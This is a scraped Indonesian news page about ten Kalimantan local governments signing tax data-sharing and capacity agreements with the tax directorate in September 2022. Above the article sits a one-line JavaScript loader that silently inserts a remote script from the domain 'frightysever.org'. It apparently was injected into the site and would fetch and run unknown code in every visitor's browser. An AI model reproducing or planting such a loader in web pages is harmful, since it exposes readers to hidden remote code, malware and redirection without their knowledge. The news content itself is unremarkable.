(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Optimalisasi pemungutan pajak pusat dan pajak daerah, 10 pemerintah daerah (Pemda) di lingkungan Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (DJP Kalselteng) melakukan penandatanganan Perjanjian Kerja Sama (PKS) antara DJP, DJPK, dan Pemda serentak secara daring dari kantor pemda masing-masing.
Acara tersebut secara nasional diikuti oleh 86 pemda dari seluruh Indonesia yang
dipusatkan di aula Cakti Buddhi Bakti (CBB), Gedung Marie Muhammad, Kantor Pusat DJP, Jalan GatotSubroto Kav. 40-42, Jakarta, Kamis (15/9/2022).
Sepuluh pemda di wilayah kerja Kanwil DJP Kalseltengmeliputi, Pemerintah Provinsi (Pemprov) Kalimantan Selatan, Pemprov Kalimantan Tengah, Pemerintah Kota (Pemko) Banjarbaru, Pemko Palangkaraya, Pemerintah Kabupaten (Pemkab) Kotabaru, Pemkab Balangan, Pemkab Kapuas, Pemkab Barito Selatan, Pemkab Seruyan dan Pemkab Sukamara.
“Dengan adanya PKS antara DJP, DJPK, dan Pemda ini harapannya pelaksanaan pertukaran dan
pemanfaatan data informasi perpajakan, data perizinan, dan data lain dapat lebih optimal. Selain itu pendampingan dan dukungan kapasitas terhadap pemda dalam hal kegiatan bimbingan teknis dan pembinaan administrasi perpajakan daerah dapat ditingkatkan,” kata Kepala Kanwil DJP Kalselteng Tarmizi.
Baca juga : Dandim 1022 Jalin Komunikasi dengan Tokoh Masyarakat dan Ormas
Peningkatan kapasitas SDM yang dimaksud adalah pemda mendapatkan manfaat dari kegiatan
peningkatan kapasitas pendampingan yang diselenggarakan oleh Kanwil DJP/KPP dalam kegiatan Bimbingan Teknis (Bimtek) perpajakan daerah, antara lain lain Bimtek penagihan, penilaian, dan penggalian potensi pajak.
“Kami bertekad untuk mengembangkan kapasitas daerah baik dari segi SDM maupun kerja sama pertukaran data dalam pengumpulan pajak daerah. Program secondment Kementerian Keuangan sesuai dengan SE-9/MK.01/2017 juga dapat diterapkan,” tambahnya.
Secondment merupakan penugasan dengan menempatkan pegawai dalam jangka waktu dan tujuan tertentu di unit tujuan lain dengan tugas dan pengawasan yang berlaku dalam unit organisasi yang ditempati.
Baca juga : Program 1 Desa 1 Masjid Disiapkan Menjadi Inovasi Daerah di Ajang Nasional
“Program secondment dapat dilaksanakan dalam bentuk penugasan kepada pejabat atau
pegawai di lingkungan Kementerian Keuangan untuk ditempatkan pada instansi di luar Kementerian Keuangan,” pungkas Tarmizi.
Dalam acara yang dihadiri oleh Asisten Administrasi Umum dan pejabat daerah di lingkungan Provinsi Kalimantan Selatan tersebut, Tarmizi juga menyampaikan buku “Gagasan dan Pemikiran Optimalisasi Pajak Daerah Berbasis Data Internal DJP dan Pemberian Fasilitas Pajak dan Retribusi Daerah” kepada Pemprov Kalsel yang berisi teknik dan contoh-contoh penggalian potensi perpajakan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.